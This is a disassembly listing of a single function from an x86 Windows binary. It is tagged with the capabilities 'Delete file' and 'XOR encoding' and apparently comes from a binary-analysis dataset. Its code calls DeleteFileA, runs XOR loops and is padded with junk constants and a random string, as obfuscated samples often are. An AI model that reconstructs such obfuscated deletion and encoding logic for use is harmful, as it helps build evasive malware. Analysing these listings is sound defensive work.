Function at 0x10005016
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov eax, 0x100591e2
call fcn.10058c78
sub esp, 0x18
cmp byte [ebp + 8], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x24], edx
je 0x10005240
cmp byte [ebp + 0x10], 0
je 0x1000506a
mov byte [ebp + 0xb], 0
cmp byte [ebp + 0xb], 0
je 0x10005274
push 1
push 0x3588
push 0x2816
mov ecx, 0x43d3
call fcn.10002e1a
add esp, 0xc
jmp 0x10005274
mov eax, dword [ebp + 0x14]
xor ebx, ebx
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0x272b
cmp dword [ebp - 0x1c], 0x298c
jle 0x100050d3
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, ebx
mov dword [ebp + 8], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov ecx, edi
mov ebx, esi
mov esi, dword [ebp - 0x20]
sar ebx, cl
mov eax, ebx
mov ecx, 0x10074f78
xor eax, esi
cdq
push edx
push eax
call fcn.10009792
inc esi
cmp esi, 0xbac
jl 0x1000509e
mov esi, dword [ebp + 8]
inc edi
push 0
pop ebx
cmp edi, 0x3148
jl 0x10005092
inc esi
mov dword [ebp + 8], esi
cmp esi, 0x2bdf
jl 0x10005090
push 0x4f2f
push 0x4015
push ebx
push 0x56a7
push 0x3206
mov dword [ebp + 8], 0xe48d327c
mov edx, 0x25f1
push 0x2542
xor cl, cl
mov esi, 0x10074f78
call fcn.1000588f
mov byte [ebp + 0xb], bl
add esp, 0x18
cmp byte [ebp + 0xb], 0
je 0x10005137
push 0x3cf5
push 0x1238
push 0x7c2
push 0x5089
push ebx
push 1
mov dl, 1
mov ecx, 0x7f7d
call fcn.10004306
add esp, 0x18
mov dword [ebp + 8], 0x15ec
cmp dword [ebp + 8], 0x104c
jge 0x100051eb
push 0x100f01d4
mov ecx, 0x10075030
call fcn.100095c7
mov eax, dword [0x100f01d4]
mov edi, ebx
test eax, eax
jle 0x10005190
lea eax, [edi*4 + 0x1008e750]
mov ecx, 0x10075030
push eax
lea eax, [edi*4 + 0x100f0200]
push eax
call fcn.100095c7
mov ecx, eax
call fcn.100095c7
mov eax, dword [0x100f01d4]
inc edi
cmp edi, eax
jl 0x10005165
cmp eax, 2
jg 0x100051a8
mov edx, 0x100624d4
mov ecx, esi
call fcn.1000cd04
push eax
call fcn.1000cedb
pop ecx
xor edx, edx
xor ecx, ecx
inc edx
call fcn.10004e31
test al, al
jne 0x100051d8
push 2
pop edx
xor ecx, ecx
call fcn.10004e31
test al, al
jne 0x100051d8
xor ecx, ecx
push 2
pop edx
inc ecx
call fcn.10004e31
mov edx, 0x100624d8
test al, al
je 0x100051dd
mov edx, 0x100624d4
mov ecx, esi
call fcn.1000cd04
push eax
call fcn.1000cedb
pop ecx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x1c], 0x271f
jge 0x10005221
mov edx, str.nfodj_blh_jypqv_dsiflsulc_vueq_pupnsvni_dqnby_whitmk_ckszluzpn_jsdqkxeh_jjhlqiahh_ewhx_tiut_owmzp
mov ecx, esi
call fcn.1000cd04
jmp 0x10005221
mov cl, byte [ebp + ebx - 0x18]
mov dl, 0xbd
call fcn.1000ccf1
mov byte [ebp + ebx - 0x18], al
inc ebx
cmp ebx, 4
jb 0x10005221
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov dword [ecx], eax
jmp 0x10005274
cmp byte [ebp + 0xc], 0
je 0x1000526c
mov dword [esi], 0xfffffff0
cmp dword [esi], 0xfffffffa
jne 0x10005274
xor ebx, ebx
lea eax, [ebp - 0x11]
mov byte [ebp - 0x11], bl
push 1
push eax
call fcn.100028f1
inc dword [esi]
cmp dword [esi], 0xfffffffa
pop ecx
pop ecx
je 0x10005253
jmp 0x10005274
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret